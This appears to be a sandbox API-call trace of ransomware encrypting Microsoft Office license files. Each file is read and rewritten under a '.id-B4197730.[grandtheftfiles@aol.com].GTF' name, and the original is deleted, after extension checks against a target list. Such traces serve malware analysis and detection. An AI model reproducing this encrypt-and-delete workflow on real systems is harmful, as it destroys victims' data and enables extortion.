	[0168.915] lstrlenW (lpString=".jpg") returned 4
	[0168.915] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0168.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0168.915] lstrlenW (lpString=".doc") returned 4
	[0168.915] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.916] lstrlenW (lpString=".docx") returned 5
	[0168.916] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.916] lstrlenW (lpString=".pdf") returned 4
	[0168.916] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.916] lstrlenW (lpString=".xls") returned 4
	[0168.916] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.916] lstrlenW (lpString=".xlsx") returned 5
	[0168.916] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.916] lstrlenW (lpString=".ppt") returned 4
	[0168.916] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0168.916] lstrlenW (lpString=".zip") returned 4
	[0168.916] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.916] lstrlenW (lpString=".rar") returned 4
	[0168.916] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.916] lstrlenW (lpString=".bz2") returned 4
	[0168.916] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.916] lstrlenW (lpString=".7z") returned 3
	[0168.916] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0168.916] lstrlenW (lpString=".dbf") returned 4
	[0168.916] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0168.916] lstrlenW (lpString=".1cd") returned 4
	[0168.916] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0168.916] lstrlenW (lpString=".jpg") returned 4
	[0168.916] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.916] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0168.916] lstrlenW (lpString="AccessVL_KMS_Client-ul.xrm-ms") returned 29
	[0168.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0168.917] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=9606) returned 1
	[0168.917] CloseHandle (hObject=0x56c) returned 1
	[0168.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 0x220
	[0168.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0168.918] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.918] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0168.919] GetLastError () returned 0x0
	[0168.919] ReadFile (in: hFile=0x56c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2586, lpOverlapped=0x0) returned 1
	[0168.921] WriteFile (in: hFile=0x570, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2590, lpOverlapped=0x0) returned 1
	[0168.922] ReadFile (in: hFile=0x56c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.922] WriteFile (in: hFile=0x570, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0168.922] SetEndOfFile (hFile=0x570) returned 1
	[0168.922] CloseHandle (hObject=0x570) returned 1
	[0168.922] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.922] SetEndOfFile (hFile=0x56c) returned 1
	[0168.925] CloseHandle (hObject=0x56c) returned 1
	[0168.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 1
	[0168.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0168.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0168.926] lstrlenW (lpString=".doc") returned 4
	[0168.926] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.926] lstrlenW (lpString=".docx") returned 5
	[0168.926] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.926] lstrlenW (lpString=".pdf") returned 4
	[0168.926] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.926] lstrlenW (lpString=".xls") returned 4
	[0168.926] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.926] lstrlenW (lpString=".xlsx") returned 5
	[0168.926] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.926] lstrlenW (lpString=".ppt") returned 4
	[0168.926] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0168.926] lstrlenW (lpString=".zip") returned 4
	[0168.926] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.926] lstrlenW (lpString=".rar") returned 4
	[0168.926] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.926] lstrlenW (lpString=".bz2") returned 4
	[0168.926] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.926] lstrlenW (lpString=".7z") returned 3
	[0168.926] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0168.927] lstrlenW (lpString=".dbf") returned 4
	[0168.927] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0168.927] lstrlenW (lpString=".1cd") returned 4
	[0168.927] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0168.927] lstrlenW (lpString=".jpg") returned 4
	[0168.927] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0168.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0168.927] lstrlenW (lpString=".doc") returned 4
	[0168.927] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.927] lstrlenW (lpString=".docx") returned 5
	[0168.927] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.927] lstrlenW (lpString=".pdf") returned 4
	[0168.927] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.927] lstrlenW (lpString=".xls") returned 4
	[0168.927] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.927] lstrlenW (lpString=".xlsx") returned 5
	[0168.927] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.927] lstrlenW (lpString=".ppt") returned 4
	[0168.927] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0168.927] lstrlenW (lpString=".zip") returned 4
	[0168.927] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.927] lstrlenW (lpString=".rar") returned 4
	[0168.927] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.927] lstrlenW (lpString=".bz2") returned 4
	[0168.927] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.927] lstrlenW (lpString=".7z") returned 3
	[0168.927] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0168.927] lstrlenW (lpString=".dbf") returned 4
	[0168.928] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0168.928] lstrlenW (lpString=".1cd") returned 4
	[0168.928] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0168.928] lstrlenW (lpString=".jpg") returned 4
	[0168.928] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.928] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0168.928] lstrlenW (lpString="AccessVL_MAK-pl.xrm-ms") returned 22
	[0168.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0168.929] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=10623) returned 1
	[0168.929] CloseHandle (hObject=0x56c) returned 1
	[0168.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 0x220
	[0168.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0168.929] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.929] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0168.930] GetLastError () returned 0x0
	[0168.930] ReadFile (in: hFile=0x56c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x297f, lpOverlapped=0x0) returned 1
	[0168.932] WriteFile (in: hFile=0x570, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2980, lpOverlapped=0x0) returned 1
	[0168.933] ReadFile (in: hFile=0x56c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.933] WriteFile (in: hFile=0x570, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x100, lpOverlapped=0x0) returned 1
	[0168.933] SetEndOfFile (hFile=0x570) returned 1
	[0168.933] CloseHandle (hObject=0x570) returned 1
	[0168.933] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.933] SetEndOfFile (hFile=0x56c) returned 1
	[0168.939] CloseHandle (hObject=0x56c) returned 1
	[0168.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 1
	[0168.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0168.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0168.940] lstrlenW (lpString=".doc") returned 4
	[0168.940] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.940] lstrlenW (lpString=".docx") returned 5
	[0168.940] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.940] lstrlenW (lpString=".pdf") returned 4
	[0168.940] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.940] lstrlenW (lpString=".xls") returned 4
	[0168.940] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.940] lstrlenW (lpString=".xlsx") returned 5
	[0168.940] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.940] lstrlenW (lpString=".ppt") returned 4
	[0168.940] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0168.940] lstrlenW (lpString=".zip") returned 4
	[0168.940] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.940] lstrlenW (lpString=".rar") returned 4
	[0168.940] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.940] lstrlenW (lpString=".bz2") returned 4
	[0168.940] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.940] lstrlenW (lpString=".7z") returned 3
	[0168.940] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0168.940] lstrlenW (lpString=".dbf") returned 4
	[0168.940] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0168.940] lstrlenW (lpString=".1cd") returned 4
	[0168.940] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0168.940] lstrlenW (lpString=".jpg") returned 4
	[0168.941] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0168.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0168.941] lstrlenW (lpString=".doc") returned 4
	[0168.941] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.941] lstrlenW (lpString=".docx") returned 5
	[0168.941] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.941] lstrlenW (lpString=".pdf") returned 4
	[0168.941] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.941] lstrlenW (lpString=".xls") returned 4
	[0168.941] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.941] lstrlenW (lpString=".xlsx") returned 5
	[0168.941] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.941] lstrlenW (lpString=".ppt") returned 4
	[0168.941] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0168.941] lstrlenW (lpString=".zip") returned 4
	[0168.941] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.941] lstrlenW (lpString=".rar") returned 4
	[0168.941] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.941] lstrlenW (lpString=".bz2") returned 4
	[0168.941] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.941] lstrlenW (lpString=".7z") returned 3
	[0168.941] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0168.941] lstrlenW (lpString=".dbf") returned 4
	[0168.941] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0168.941] lstrlenW (lpString=".1cd") returned 4
	[0168.941] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0168.941] lstrlenW (lpString=".jpg") returned 4
	[0168.941] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.942] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0168.942] lstrlenW (lpString="AccessVL_MAK-ppd.xrm-ms") returned 23
	[0168.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0168.942] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=6729) returned 1
	[0168.942] CloseHandle (hObject=0x56c) returned 1
	[0168.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 0x220
	[0168.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0168.943] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.943] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0168.943] GetLastError () returned 0x0
	[0168.944] ReadFile (in: hFile=0x56c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x1a49, lpOverlapped=0x0) returned 1
	[0168.970] WriteFile (in: hFile=0x570, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x1a50, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1a50, lpOverlapped=0x0) returned 1
	[0168.971] ReadFile (in: hFile=0x56c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.971] WriteFile (in: hFile=0x570, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x102, lpOverlapped=0x0) returned 1
	[0168.971] SetEndOfFile (hFile=0x570) returned 1
	[0168.971] CloseHandle (hObject=0x570) returned 1
	[0168.971] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.971] SetEndOfFile (hFile=0x56c) returned 1
	[0168.974] CloseHandle (hObject=0x56c) returned 1
	[0168.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 1
	[0168.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0168.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0168.975] lstrlenW (lpString=".doc") returned 4
	[0168.975] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.975] lstrlenW (lpString=".docx") returned 5
	[0168.975] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.975] lstrlenW (lpString=".pdf") returned 4
	[0168.975] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.975] lstrlenW (lpString=".xls") returned 4
	[0168.975] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.975] lstrlenW (lpString=".xlsx") returned 5
	[0168.975] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.975] lstrlenW (lpString=".ppt") returned 4
	[0168.975] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0168.975] lstrlenW (lpString=".zip") returned 4
	[0168.975] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.975] lstrlenW (lpString=".rar") returned 4
	[0168.975] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.975] lstrlenW (lpString=".bz2") returned 4
	[0168.976] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.976] lstrlenW (lpString=".7z") returned 3
